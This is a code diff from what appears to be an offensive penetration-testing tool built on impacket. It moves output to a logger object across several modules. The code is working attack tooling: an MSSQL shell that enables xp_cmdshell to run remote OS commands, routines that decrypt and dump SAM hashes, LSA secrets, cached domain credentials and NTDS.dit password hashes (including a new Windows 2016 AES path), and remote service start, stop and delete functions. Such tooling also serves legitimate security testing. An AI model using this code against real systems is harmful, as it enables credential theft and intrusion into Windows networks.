elif key['Type'] == TDS_ENVCHANGE_CHARSET:
|
||||
_type = 'CHARSET'
|
||||
elif key['Type'] == TDS_ENVCHANGE_PACKETSIZE:
|
||||
_type = 'PACKETSIZE'
|
||||
else:
|
||||
_type = "%d" % key['Type']
|
||||
self._MSSQL__rowsPrinter.info("ENVCHANGE(%s): Old Value: %s, New Value: %s" % (_type,record['OldValue'].decode('utf-16le'), record['NewValue'].decode('utf-16le')))
|
||||
|
||||
tds.MSSQL.printReplies = printRepliesCME
|
||||
|
||||
class SQLSHELL(cmd.Cmd):
|
||||
def __init__(self, SQL, logger):
|
||||
cmd.Cmd.__init__(self)
|
||||
self.sql = SQL
|
||||
self.logger = logger
|
||||
self.prompt = 'SQL> '
|
||||
self.intro = '[!] Press help for extra shell commands'
|
||||
|
||||
def do_help(self, line):
|
||||
print """
|
||||
lcd {path} - changes the current local directory to {path}
|
||||
exit - terminates the server process (and this session)
|
||||
enable_xp_cmdshell - you know what it means
|
||||
disable_xp_cmdshell - you know what it means
|
||||
xp_cmdshell {cmd} - executes cmd using xp_cmdshell
|
||||
! {cmd} - executes a local shell cmd
|
||||
"""
|
||||
|
||||
def do_shell(self, s):
|
||||
os.system(s)
|
||||
|
||||
def do_xp_cmdshell(self, s):
|
||||
try:
|
||||
self.sql.sql_query("exec master..xp_cmdshell '%s'" % s)
|
||||
self.sql.printReplies()
|
||||
self.sql.colMeta[0]['TypeData'] = 80*2
|
||||
self.sql.printRows()
|
||||
except:
|
||||
pass
|
||||
|
||||
def do_lcd(self, s):
|
||||
if s == '':
|
||||
print os.getcwd()
|
||||
else:
|
||||
os.chdir(s)
|
||||
|
||||
def do_enable_xp_cmdshell(self, line):
|
||||
try:
|
||||
self.sql.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;")
|
||||
self.sql.printReplies()
|
||||
self.sql.printRows()
|
||||
except:
|
||||
pass
|
||||
|
||||
def do_disable_xp_cmdshell(self, line):
|
||||
try:
|
||||
self.sql.sql_query("exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;")
|
||||
self.sql.printReplies()
|
||||
self.sql.printRows()
|
||||
except:
|
||||
pass
|
||||
|
||||
def default(self, line):
|
||||
try:
|
||||
self.sql.sql_query(line)
|
||||
self.sql.printReplies()
|
||||
self.sql.printRows()
|
||||
except:
|
||||
pass
|
||||
|
||||
def emptyline(self):
|
||||
pass
|
||||
|
||||
def do_exit(self, line):
|
||||
return True
|
|
@ -35,7 +35,7 @@ class SAMRDump:
|
|||
}
|
||||
|
||||
|
||||
def __init__(self, protocols = None,
|
||||
def __init__(self, logger, protocols = None,
|
||||
username = '', password = '', domain = '', hashes = None, aesKey=None, doKerberos = False):
|
||||
if not protocols:
|
||||
self.__protocols = SAMRDump.KNOWN_PROTOCOLS.keys()
|
||||
|
@ -49,6 +49,7 @@ class SAMRDump:
|
|||
self.__nthash = ''
|
||||
self.__aesKey = aesKey
|
||||
self.__doKerberos = doKerberos
|
||||
self.__logger = logger
|
||||
if hashes is not None:
|
||||
self.__lmhash, self.__nthash = hashes.split(':')
|
||||
if password is None:
|
||||
|
@ -80,15 +81,15 @@ class SAMRDump:
|
|||
|
||||
# Display results.
|
||||
|
||||
print_succ('{}:{} Dumping users:'.format(addr, protocol[:-4]))
|
||||
self.__logger.success('Dumping users')
|
||||
for entry in entries:
|
||||
(username, uid, user) = entry
|
||||
base = "%s (%d)" % (username, uid)
|
||||
print_att(u'{}/FullName: {}'.format(base, user['FullName']))
|
||||
print_att(u'{}/UserComment: {}' .format(base, user['UserComment']))
|
||||
print_att(u'{}/PrimaryGroupId: {}'.format(base, user['PrimaryGroupId']))
|
||||
print_att(u'{}/BadPasswordCount: {}'.format(base, user['BadPasswordCount']))
|
||||
print_att(u'{}/LogonCount: {}'.format(base, user['LogonCount']))
|
||||
self.__logger.results(u'{}/FullName: {}'.format(base, user['FullName']))
|
||||
self.__logger.results(u'{}/UserComment: {}' .format(base, user['UserComment']))
|
||||
self.__logger.results(u'{}/PrimaryGroupId: {}'.format(base, user['PrimaryGroupId']))
|
||||
self.__logger.results(u'{}/BadPasswordCount: {}'.format(base, user['BadPasswordCount']))
|
||||
self.__logger.results(u'{}/LogonCount: {}'.format(base, user['LogonCount']))
|
||||
|
||||
if entries:
|
||||
num = len(entries)
|
||||
|
|
|
@ -1,5 +1,5 @@
|
|||
#!/usr/bin/python
|
||||
# Copyright (c) 2003-2015 CORE Security Technologies
|
||||
# Copyright (c) 2003-2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
|
@ -47,7 +47,6 @@ from struct import unpack, pack
|
|||
from collections import OrderedDict
|
||||
from binascii import unhexlify, hexlify
|
||||
from datetime import datetime
|
||||
from gevent import sleep
|
||||
import sys
|
||||
import random
|
||||
import hashlib
|
||||
|
@ -58,7 +57,6 @@ import string
|
|||
import codecs
|
||||
import os
|
||||
|
||||
from core.logger import *
|
||||
from impacket import version, winregistry, ntlm
|
||||
from impacket.smbconnection import SMBConnection
|
||||
from impacket.dcerpc.v5 import transport, rrp, scmr, wkst, samr, epm, drsuapi
|
||||
|
@ -68,7 +66,7 @@ from impacket.structure import Structure
|
|||
from impacket.nt_errors import STATUS_MORE_ENTRIES
|
||||
from impacket.ese import ESENT_DB
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
|
||||
from gevent import sleep
|
||||
from Crypto.Cipher import DES, ARC4, AES
|
||||
from Crypto.Hash import HMAC, MD4
|
||||
|
||||
|
@ -785,6 +783,23 @@ class CryptoCommon:
|
|||
key2 = key[3] + key[0] + key[1] + key[2] + key[3] + key[0] + key[1]
|
||||
return self.transformKey(key1),self.transformKey(key2)
|
||||
|
||||
@staticmethod
|
||||
def decryptAES(key, value, iv='\x00'*16):
|
||||
plainText = ''
|
||||
if iv != '\x00'*16:
|
||||
aes256 = AES.new(key,AES.MODE_CBC, iv)
|
||||
|
||||
for index in range(0, len(value), 16):
|
||||
if iv == '\x00'*16:
|
||||
aes256 = AES.new(key,AES.MODE_CBC, iv)
|
||||
cipherBuffer = value[index:index+16]
|
||||
# Pad buffer to 16 bytes
|
||||
if len(cipherBuffer) < 16:
|
||||
cipherBuffer += '\x00' * (16-len(cipherBuffer))
|
||||
plainText += aes256.decrypt(cipherBuffer)
|
||||
|
||||
return plainText
|
||||
|
||||
|
||||
class OfflineRegistry:
|
||||
def __init__(self, hiveFile = None, isRemote = False):
|
||||
|
@ -834,13 +849,14 @@ class OfflineRegistry:
|
|||
self.__registryHive.close()
|
||||
|
||||
class SAMHashes(OfflineRegistry):
|
||||
def __init__(self, samFile, bootKey, isRemote = False):
|
||||
def __init__(self, samFile, bootKey, logger, isRemote = False):
|
||||
OfflineRegistry.__init__(self, samFile, isRemote)
|
||||
self.__samFile = samFile
|
||||
self.__hashedBootKey = ''
|
||||
self.__bootKey = bootKey
|
||||
self.__cryptoCommon = CryptoCommon()
|
||||
self.__itemsFound = {}
|
||||
self.__logger = logger
|
||||
|
||||
def MD5(self, data):
|
||||
md5 = hashlib.new('md5')
|
||||
|
@ -932,7 +948,7 @@ class SAMHashes(OfflineRegistry):
|
|||
|
||||
answer = "%s:%d:%s:%s:::" % (userName, rid, hexlify(lmHash), hexlify(ntHash))
|
||||
self.__itemsFound[rid] = answer
|
||||
print_att(answer)
|
||||
self.__logger.results(answer)
|
||||
|
||||
def export(self, fileName):
|
||||
if len(self.__itemsFound) > 0:
|
||||
|
@ -944,7 +960,7 @@ class SAMHashes(OfflineRegistry):
|
|||
|
||||
|
||||
class LSASecrets(OfflineRegistry):
|
||||
def __init__(self, securityFile, bootKey, remoteOps = None, isRemote = False):
|
||||
def __init__(self, securityFile, bootKey, logger, remoteOps = None, isRemote = False):
|
||||
OfflineRegistry.__init__(self,securityFile, isRemote)
|
||||
self.__hashedBootKey = ''
|
||||
self.__bootKey = bootKey
|
||||
|
@ -957,6 +973,7 @@ class LSASecrets(OfflineRegistry):
|
|||
self.__remoteOps = remoteOps
|
||||
self.__cachedItems = []
|
||||
self.__secretItems = []
|
||||
self.__logger = logger
|
||||
|
||||
def MD5(self, data):
|
||||
md5 = hashlib.new('md5')
|
||||
|
@ -970,22 +987,6 @@ class LSASecrets(OfflineRegistry):
|
|||
sha.update(value)
|
||||
return sha.digest()
|
||||
|
||||
def __decryptAES(self, key, value, iv='\x00'*16):
|
||||
plainText = ''
|
||||
if iv != '\x00'*16:
|
||||
aes256 = AES.new(key,AES.MODE_CBC, iv)
|
||||
|
||||
for index in range(0, len(value), 16):
|
||||
if iv == '\x00'*16:
|
||||
aes256 = AES.new(key,AES.MODE_CBC, iv)
|
||||
cipherBuffer = value[index:index+16]
|
||||
# Pad buffer to 16 bytes
|
||||
if len(cipherBuffer) < 16:
|
||||
cipherBuffer += '\x00' * (16-len(cipherBuffer))
|
||||
plainText += aes256.decrypt(cipherBuffer)
|
||||
|
||||
return plainText
|
||||
|
||||
def __decryptSecret(self, key, value):
|
||||
# [MS-LSAD] Section 5.1.2
|
||||
plainText = ''
|
||||
|
@ -1022,7 +1023,7 @@ class LSASecrets(OfflineRegistry):
|
|||
# ToDo: There could be more than one LSA Keys
|
||||
record = LSA_SECRET(value)
|
||||
tmpKey = self.__sha256(self.__bootKey, record['EncryptedData'][:32])
|
||||
plainText = self.__decryptAES(tmpKey, record['EncryptedData'][32:])
|
||||
plainText = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])
|
||||
record = LSA_SECRET_BLOB(plainText)
|
||||
self.__LSAKey = record['Secret'][52:][:32]
|
||||
|
||||
|
@ -1059,7 +1060,7 @@ class LSASecrets(OfflineRegistry):
|
|||
if self.__vistaStyle is True:
|
||||
record = LSA_SECRET(value[1])
|
||||
tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32])
|
||||
self.__NKLMKey = self.__decryptAES(tmpKey, record['EncryptedData'][32:])
|
||||
self.__NKLMKey = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])
|
||||
else:
|
||||
self.__NKLMKey = self.__decryptSecret(self.__LSAKey, value[1])
|
||||
|
||||
|
@ -1095,7 +1096,7 @@ class LSASecrets(OfflineRegistry):
|
|||
record = NL_RECORD(self.getValue(ntpath.join('\\Cache',value))[1])
|
||||
if record['CH'] != 16 * '\x00':
|
||||
if self.__vistaStyle is True:
|
||||
plainText = self.__decryptAES(self.__NKLMKey[16:32], record['EncryptedData'], record['CH'])
|
||||
plainText = self.__cryptoCommon.decryptAES(self.__NKLMKey[16:32], record['EncryptedData'], record['CH'])
|
||||
else:
|
||||
plainText = self.__decryptHash(self.__NKLMKey, record['EncryptedData'], record['CH'])
|
||||
pass
|
||||
|
@ -1108,7 +1109,7 @@ class LSASecrets(OfflineRegistry):
|
|||
domainLong = plainText[:self.__pad(record['FullDomainLength'])].decode('utf-16le')
|
||||
answer = "%s:%s:%s:%s:::" % (userName, hexlify(encHash), domainLong, domain)
|
||||
self.__cachedItems.append(answer)
|
||||
print_att(answer)
|
||||
self.__logger.results(answer)
|
||||
|
||||
def __printSecret(self, name, secretItem):
|
||||
# Based on [MS-LSAD] section 3.1.1.4
|
||||
|
@ -1186,12 +1187,13 @@ class LSASecrets(OfflineRegistry):
|
|||
secret = "$MACHINE.ACC: %s:%s" % (hexlify(ntlm.LMOWFv1('','')), hexlify(md4.digest()))
|
||||
|
||||
if secret != '':
|
||||
print_att(secret)
|
||||
self.__logger.results(secret)
|
||||
self.__secretItems.append(secret)
|
||||
else:
|
||||
# Default print, hexdump
|
||||
self.__logger.results('{}:{}'.format(name, hexlify(secretItem)))
|
||||
self.__secretItems.append('%s:%s' % (name, hexlify(secretItem)))
|
||||
print_att("{}:{}".format(name, hexlify(secretItem)))
|
||||
#hexdump(secretItem)
|
||||
|
||||
def dumpSecrets(self):
|
||||
if self.__securityFile is None:
|
||||
|
@ -1222,7 +1224,7 @@ class LSASecrets(OfflineRegistry):
|
|||
if self.__vistaStyle is True:
|
||||
record = LSA_SECRET(value[1])
|
||||
tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32])
|
||||
plainText = self.__decryptAES(tmpKey, record['EncryptedData'][32:])
|
||||
plainText = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])
|
||||
record = LSA_SECRET_BLOB(plainText)
|
||||
secret = record['Secret']
|
||||
else:
|
||||
|
@ -1335,6 +1337,14 @@ class NTDSHashes:
|
|||
('EncryptedHash','16s=""'),
|
||||
)
|
||||
|
||||
class CRYPTED_HASHW16(Structure):
|
||||
structure = (
|
||||
('Header','8s=""'),
|
||||
('KeyMaterial','16s=""'),
|
||||
('Unknown','<L=0'),
|
||||
('EncryptedHash','32s=""'),
|
||||
)
|
||||
|
||||
class CRYPTED_HISTORY(Structure):
|
||||
structure = (
|
||||
('Header','8s=""'),
|
||||
|
@ -1349,7 +1359,7 @@ class NTDSHashes:
|
|||
('EncryptedHash',':'),
|
||||
)
|
||||
|
||||
def __init__(self, ntdsFile, bootKey, isRemote=False, history=False, noLMHash=True, remoteOps=None,
|
||||
def __init__(self, ntdsFile, bootKey, logger, isRemote=False, history=False, noLMHash=True, remoteOps=None,
|
||||
useVSSMethod=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName=None):
|
||||
self.__bootKey = bootKey
|
||||
self.__NTDS = ntdsFile
|
||||
|
@ -1370,6 +1380,7 @@ class NTDSHashes:
|
|||
self.__savedSessionFile = resumeSession
|
||||
self.__resumeSessionFile = None
|
||||
self.__outputFileName = outputFileName
|
||||
self.__logger = logger
|
||||
|
||||
def getResumeSessionFile(self):
|
||||
return self.__resumeSessionFile
|
||||
|
@ -1391,19 +1402,32 @@ class NTDSHashes:
|
|||
|
||||
if peklist is not None:
|
||||
encryptedPekList = self.PEKLIST_ENC(peklist)
|
||||
md5 = hashlib.new('md5')
|
||||
md5.update(self.__bootKey)
|
||||
for i in range(1000):
|
||||
md5.update(encryptedPekList['KeyMaterial'])
|
||||
tmpKey = md5.digest()
|
||||
rc4 = ARC4.new(tmpKey)
|
||||
decryptedPekList = self.PEKLIST_PLAIN(rc4.encrypt(encryptedPekList['EncryptedPek']))
|
||||
PEKLen = len(self.PEK_KEY())
|
||||
for i in range(len( decryptedPekList['DecryptedPek'] ) / PEKLen ):
|
||||
cursor = i * PEKLen
|
||||
pek = self.PEK_KEY(decryptedPekList['DecryptedPek'][cursor:cursor+PEKLen])
|
||||
logging.info("PEK # %d found and decrypted: %s", i, hexlify(pek['Key']))
|
||||
self.__PEK.append(pek['Key'])
|
||||
if encryptedPekList['Header'][:4] == '\x02\x00\x00\x00':
|
||||
# Up to Windows 2012 R2 looks like header starts this way
|
||||
md5 = hashlib.new('md5')
|
||||
md5.update(self.__bootKey)
|
||||
for i in range(1000):
|
||||
md5.update(encryptedPekList['KeyMaterial'])
|
||||
tmpKey = md5.digest()
|
||||
rc4 = ARC4.new(tmpKey)
|
||||
decryptedPekList = self.PEKLIST_PLAIN(rc4.encrypt(encryptedPekList['EncryptedPek']))
|
||||
PEKLen = len(self.PEK_KEY())
|
||||
for i in range(len( decryptedPekList['DecryptedPek'] ) / PEKLen ):
|
||||
cursor = i * PEKLen
|
||||
pek = self.PEK_KEY(decryptedPekList['DecryptedPek'][cursor:cursor+PEKLen])
|
||||
logging.info("PEK # %d found and decrypted: %s", i, hexlify(pek['Key']))
|
||||
self.__PEK.append(pek['Key'])
|
||||
|
||||
elif encryptedPekList['Header'][:4] == '\x03\x00\x00\x00':
|
||||
# Windows 2016 TP4 header starts this way
|
||||
# Encrypted PEK Key seems to be different, but actually similar to decrypting LSA Secrets.
|
||||
# using AES:
|
||||
# Key: the bootKey
|
||||
# CipherText: PEKLIST_ENC['EncryptedPek']
|
||||
# IV: PEKLIST_ENC['KeyMaterial']
|
||||
decryptedPekList = self.PEKLIST_PLAIN(self.__cryptoCommon.decryptAES(self.__bootKey, encryptedPekList['EncryptedPek'], encryptedPekList['KeyMaterial']))
|
||||
self.__PEK.append(decryptedPekList['DecryptedPek'][4:][:16])
|
||||
logging.info("PEK # 0 found and decrypted: %s", hexlify(decryptedPekList['DecryptedPek'][4:][:16]))
|
||||
|
||||
def __removeRC4Layer(self, cryptedHash):
|
||||
md5 = hashlib.new('md5')
|
||||
|
@ -1448,6 +1472,13 @@ class NTDSHashes:
|
|||
else:
|
||||
userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']]
|
||||
cipherText = self.CRYPTED_BLOB(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']]))
|
||||
|
||||
if cipherText['Header'][:4] == '\x13\x00\x00\x00':
|
||||
# Win2016 TP4 decryption is different
|
||||
pekIndex = hexlify(cipherText['Header'])
|
||||
plainText = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])], cipherText['EncryptedHash'][4:], cipherText['KeyMaterial'])
|
||||
haveInfo = True
|
||||
else:
|
||||
plainText = self.__removeRC4Layer(cipherText)
|
||||
haveInfo = True
|
||||
else:
|
||||
|
@ -1550,7 +1581,13 @@ class NTDSHashes:
|
|||
|
||||
if record[self.NAME_TO_INTERNAL['unicodePwd']] is not None:
|
||||
encryptedNTHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']]))
|
||||
tmpNTHash = self.__removeRC4Layer(encryptedNTHash)
|
||||
if encryptedNTHash['Header'][:4] == '\x13\x00\x00\x00':
|
||||
# Win2016 TP4 decryption is different
|
||||
encryptedNTHash = self.CRYPTED_HASHW16(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']]))
|
||||
pekIndex = hexlify(encryptedNTHash['Header'])
|
||||
tmpNTHash = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])], encryptedNTHash['EncryptedHash'][:16], encryptedNTHash['KeyMaterial'])
|
||||
else:
|
||||
tmpNTHash = self.__removeRC4Layer(encryptedNTHash)
|
||||
NTHash = self.__removeDESLayer(tmpNTHash, rid)
|
||||
else:
|
||||
NTHash = ntlm.NTOWFv1('', '')
|
||||
|
@ -1572,7 +1609,7 @@ class NTDSHashes:
|
|||
|
||||
if self.__pwdLastSet is True:
|
||||
answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet)
|
||||
print_att(answer)
|
||||
self.__logger.results(answer)
|
||||
|
||||
if self.__history:
|
||||
LMHistory = []
|
||||
|
@ -1586,7 +1623,14 @@ class NTDSHashes:
|
|||
|
||||
if record[self.NAME_TO_INTERNAL['ntPwdHistory']] is not None:
|
||||
encryptedNTHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['ntPwdHistory']]))
|
||||
tmpNTHistory = self.__removeRC4Layer(encryptedNTHistory)
|
||||
|
||||
if encryptedNTHistory['Header'][:4] == '\x13\x00\x00\x00':
|
||||
# Win2016 TP4 decryption is different
|
||||
pekIndex = hexlify(encryptedNTHistory['Header'])
|
||||
tmpNTHistory = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])], encryptedNTHistory['EncryptedHash'], encryptedNTHistory['KeyMaterial'])
|
||||
else:
|
||||
tmpNTHistory = self.__removeRC4Layer(encryptedNTHistory)
|
||||
|
||||
for i in range(0, len(tmpNTHistory) / 16):
|
||||
NTHash = self.__removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid)
|
||||
NTHistory.append(NTHash)
|
||||
|
@ -1601,7 +1645,7 @@ class NTDSHashes:
|
|||
answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash, hexlify(NTHash))
|
||||
if outputFile is not None:
|
||||
self.__writeOutput(outputFile, answer + '\n')
|
||||
print_att(answer)
|
||||
self.__logger.results(answer)
|
||||
else:
|
||||
logging.debug('Decrypting hash for user: %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
|
||||
domain = None
|
||||
|
@ -1694,7 +1738,7 @@ class NTDSHashes:
|
|||
|
||||
if self.__pwdLastSet is True:
|
||||
answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet)
|
||||
print_att(answer)
|
||||
self.__logger.results(answer)
|
||||
|
||||
if self.__history:
|
||||
for i, (LMHashHistory, NTHashHistory) in enumerate(
|
||||
|
@ -1705,7 +1749,7 @@ class NTDSHashes:
|
|||
lmhash = hexlify(LMHashHistory)
|
||||
|
||||
answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash, hexlify(NTHashHistory))
|
||||
print_att(answer)
|
||||
self.__logger.results(answer)
|
||||
if outputFile is not None:
|
||||
self.__writeOutput(outputFile, answer + '\n')
|
||||
|
||||
|
@ -1888,7 +1932,7 @@ class NTDSHashes:
|
|||
logging.info('Kerberos keys grabbed')
|
||||
|
||||
for itemKey in self.__kerberosKeys.keys():
|
||||
print_att(itemKey)
|
||||
print itemKey
|
||||
|
||||
# And finally the cleartext pwds
|
||||
if len(self.__clearTextPwds) > 0:
|
||||
|
@ -1898,7 +1942,7 @@ class NTDSHashes:
|
|||
logging.info('ClearText passwords grabbed')
|
||||
|
||||
for itemKey in self.__clearTextPwds.keys():
|
||||
print_att(itemKey)
|
||||
print itemKey
|
||||
|
||||
# Closing output file
|
||||
if self.__outputFileName is not None:
|
||||
|
@ -1921,9 +1965,8 @@ class NTDSHashes:
|
|||
|
||||
|
||||
class DumpSecrets:
|
||||
def __init__(self, address, port, outputFile, smbConnection, kerberos=False):
|
||||
self.__remoteAddr = address
|
||||
self.__remotePort = port
|
||||
def __init__(self, logger, outputFile, smbConnection, kerberos=False):
|
||||
self.__logger = logger
|
||||
#self.__username = username
|
||||
#self.__password = password
|
||||
#self.__domain = domain
|
||||
|
@ -2009,8 +2052,8 @@ class DumpSecrets:
|
|||
if self.__bootKey is not None:
|
||||
try:
|
||||
SAMFileName = self.__remoteOps.saveSAM()
|
||||
self.__SAMHashes = SAMHashes(SAMFileName, self.__bootKey, isRemote = True)
|
||||
print_succ('{}:{} Dumping SAM hashes (uid:rid:lmhash:nthash):'.format(self.__remoteAddr, self.__remotePort))
|
||||
self.__SAMHashes = SAMHashes(SAMFileName, self.__bootKey, self.__logger, isRemote = True)
|
||||
self.__logger.success('Dumping SAM hashes (uid:rid:lmhash:nthash)')
|
||||
self.__SAMHashes.dump()
|
||||
if self.__outputFileName is not None:
|
||||
self.__SAMHashes.export(self.__outputFileName)
|
||||
|
@ -2022,8 +2065,8 @@ class DumpSecrets:
|
|||
if self.__bootKey is not None:
|
||||
try:
|
||||
SECURITYFileName = self.__remoteOps.saveSECURITY()
|
||||
print_succ('{}:{} Dumping LSA secrets:'.format(self.__remoteAddr, self.__remotePort))
|
||||
self.__LSASecrets = LSASecrets(SECURITYFileName, self.__bootKey, self.__remoteOps, isRemote=True)
|
||||
self.__logger.success('Dumping LSA secrets')
|
||||
self.__LSASecrets = LSASecrets(SECURITYFileName, self.__bootKey, self.__logger, self.__remoteOps, isRemote=True)
|
||||
self.__LSASecrets.dumpCachedHashes()
|
||||
if self.__outputFileName is not None:
|
||||
self.__LSASecrets.exportCached(self.__outputFileName)
|
||||
|
@ -2042,8 +2085,8 @@ class DumpSecrets:
|
|||
else:
|
||||
NTDSFileName = None
|
||||
|
||||
print_succ("{}:{} Dumping NTDS.dit secrets using the {} method (domain\\uid:rid:lmhash:nthash):".format(self.__remoteAddr, self.__remotePort, method.upper()))
|
||||
self.__NTDSHashes = NTDSHashes(NTDSFileName, self.__bootKey, isRemote=True, history=history,
|
||||
self.__logger.success("Dumping NTDS.dit secrets using the {} method (domain\\uid:rid:lmhash:nthash)".format(method.upper()))
|
||||
self.__NTDSHashes = NTDSHashes(NTDSFileName, self.__bootKey, self.__logger, isRemote=True, history=history,
|
||||
noLMHash=self.__noLMHash, remoteOps=self.__remoteOps,
|
||||
useVSSMethod=vss, justNTLM=self.__justDCNTLM,
|
||||
pwdLastSet=pwdLastSet, resumeSession=self.__resumeFileName,
|
||||
|
|
|
@ -19,7 +19,6 @@ import sys
|
|||
import logging
|
||||
import codecs
|
||||
|
||||
from core.logger import *
|
||||
from impacket import version
|
||||
from impacket.dcerpc.v5 import transport, scmr
|
||||
from impacket.dcerpc.v5.ndr import NULL
|
||||
|
@ -32,7 +31,7 @@ class SVCCTL:
|
|||
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
|
||||
}
|
||||
|
||||
def __init__(self, username, password, domain, protocol, action, options):
|
||||
def __init__(self, logger, username, password, domain, protocol, action, options):
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__protocol = SVCCTL.KNOWN_PROTOCOLS.keys()
|
||||
|
@ -46,6 +45,7 @@ class SVCCTL:
|
|||
self.__protocol = protocol
|
||||
self.__addr = None
|
||||
self.__port = None
|
||||
self.__logger = logger
|
||||
|
||||
if options.hash is not None:
|
||||
self.__lmhash, self.__nthash = options.hash.split(':')
|
||||
|
@ -92,19 +92,19 @@ class SVCCTL:
|
|||
serviceHandle = ans['lpServiceHandle']
|
||||
|
||||
if self.__action == 'START':
|
||||
print_status("{}:{} Starting service {}".format(self.__addr, self.__port, self.__options.service_name))
|
||||
self.__logger.success("Starting service {}".format(self.__options.service_name))
|
||||
scmr.hRStartServiceW(rpc, serviceHandle)
|
||||
scmr.hRCloseServiceHandle(rpc, serviceHandle)
|
||||
elif self.__action == 'STOP':
|
||||
print_status("{}:{} Stopping service {}".format(self.__addr, self.__port, self.__options.service_name))
|
||||
self.__logger.success("Stopping service {}".format(self.__options.service_name))
|
||||
scmr.hRControlService(rpc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
|
||||
scmr.hRCloseServiceHandle(rpc, serviceHandle)
|
||||
elif self.__action == 'DELETE':
|
||||
print_status("{}:{} Deleting service {}".format(self.__addr, self.__port, self.__options.service_name))
|
||||
self.__logger.success("Deleting service {}".format(self.__options.service_name))
|
||||
scmr.hRDeleteService(rpc, serviceHandle)
|
||||
scmr.hRCloseServiceHandle(rpc, serviceHandle)
|
||||
elif self.__action == 'CONFIG':
|
||||
print_succ("{}:{} Service config for {}:".format(self.__addr, self.__port, self.__options.service_name))
|
||||
self.__logger.success("Service config for {}".format(self.__options.service_name))
|
||||
resp = scmr.hRQueryServiceConfigW(rpc, serviceHandle)
|
||||
output = "TYPE : %2d - " % resp['lpServiceConfig']['dwServiceType']
|
||||
if resp['lpServiceConfig']['dwServiceType'] & 0x1:
|
||||
|
@ -117,7 +117,7 @@ class SVCCTL:
|
|||
output += "SERVICE_WIN32_SHARE_PROCESS "
|
||||
if resp['lpServiceConfig']['dwServiceType'] & 0x100:
|
||||
output += "SERVICE_INTERACTIVE_PROCESS "
|
||||
print_att(output)
|
||||
self.__logger.results(output)
|
||||
|
||||
output = "START_TYPE : %2d - " % resp['lpServiceConfig']['dwStartType']
|
||||
if resp['lpServiceConfig']['dwStartType'] == 0x0:
|
||||
|
@ -132,7 +132,7 @@ class SVCCTL:
|
|||
output += "DISABLED"
|
||||
else:
|
||||
output += "UNKOWN"
|
||||
print_att(output)
|
||||
self.logger.results(output)
|
||||
|
||||
output = "ERROR_CONTROL : %2d - " % resp['lpServiceConfig']['dwErrorControl']
|
||||
if resp['lpServiceConfig']['dwErrorControl'] == 0x0:
|
||||
|
@ -145,16 +145,16 @@ class SVCCTL:
|
|||
output += "CRITICAL"
|
||||
else:
|
||||
output += "UNKOWN"
|
||||
print_att(output)
|
||||
self.__logger.results(output)
|
||||
|
||||
print_att("BINARY_PATH_NAME : %s" % resp['lpServiceConfig']['lpBinaryPathName'][:-1])
|
||||
print_att("LOAD_ORDER_GROUP : %s" % resp['lpServiceConfig']['lpLoadOrderGroup'][:-1])
|
||||
print_att("TAG : %d" % resp['lpServiceConfig']['dwTagId'])
|
||||
print_att("DISPLAY_NAME : %s" % resp['lpServiceConfig']['lpDisplayName'][:-1])
|
||||
print_att("DEPENDENCIES : %s" % resp['lpServiceConfig']['lpDependencies'][:-1])
|
||||
print_att("SERVICE_START_NAME: %s" % resp['lpServiceConfig']['lpServiceStartName'][:-1])
|
||||
self.__logger.results("BINARY_PATH_NAME : %s" % resp['lpServiceConfig']['lpBinaryPathName'][:-1])
|
||||
self.__logger.results("LOAD_ORDER_GROUP : %s" % resp['lpServiceConfig']['lpLoadOrderGroup'][:-1])
|
||||
self.__logger.results("TAG : %d" % resp['lpServiceConfig']['dwTagId'])
|
||||
self.__logger.results("DISPLAY_NAME : %s" % resp['lpServiceConfig']['lpDisplayName'][:-1])
|
||||
self.__logger.results("DEPENDENCIES : %s" % resp['lpServiceConfig']['lpDependencies'][:-1])
|
||||
self.__logger.results("SERVICE_START_NAME: %s" % resp['lpServiceConfig']['lpServiceStartName'][:-1])
|
||||
elif self.__action == 'STATUS':
|
||||
print_succ("{}:{} Service status for {}:".format(self.__addr, self.__port, self.__options.service_name))
|
||||
self.__logger.success("Service status for {}".format(self.__options.service_name))
|
||||
resp = scmr.hRQueryServiceStatus(rpc, serviceHandle)
|
||||
output = "%s - " % self.__options.service_name
|
||||
state = resp['lpServiceStatus']['dwCurrentState']
|
||||
|
@ -174,9 +174,9 @@ class SVCCTL:
|
|||
output += "STOPPED"
|
||||
else:
|
||||
output += "UNKOWN"
|
||||
print_att(output)
|
||||
self.__logger.results(output)
|
||||
elif self.__action == 'LIST':
|
||||
print_succ("{}:{} Available services:".format(self.__addr, self.__port))
|
||||
self.__logger.success("Enumerating services")
|
||||
#resp = rpc.EnumServicesStatusW(scManagerHandle, svcctl.SERVICE_WIN32_SHARE_PROCESS )
|
||||
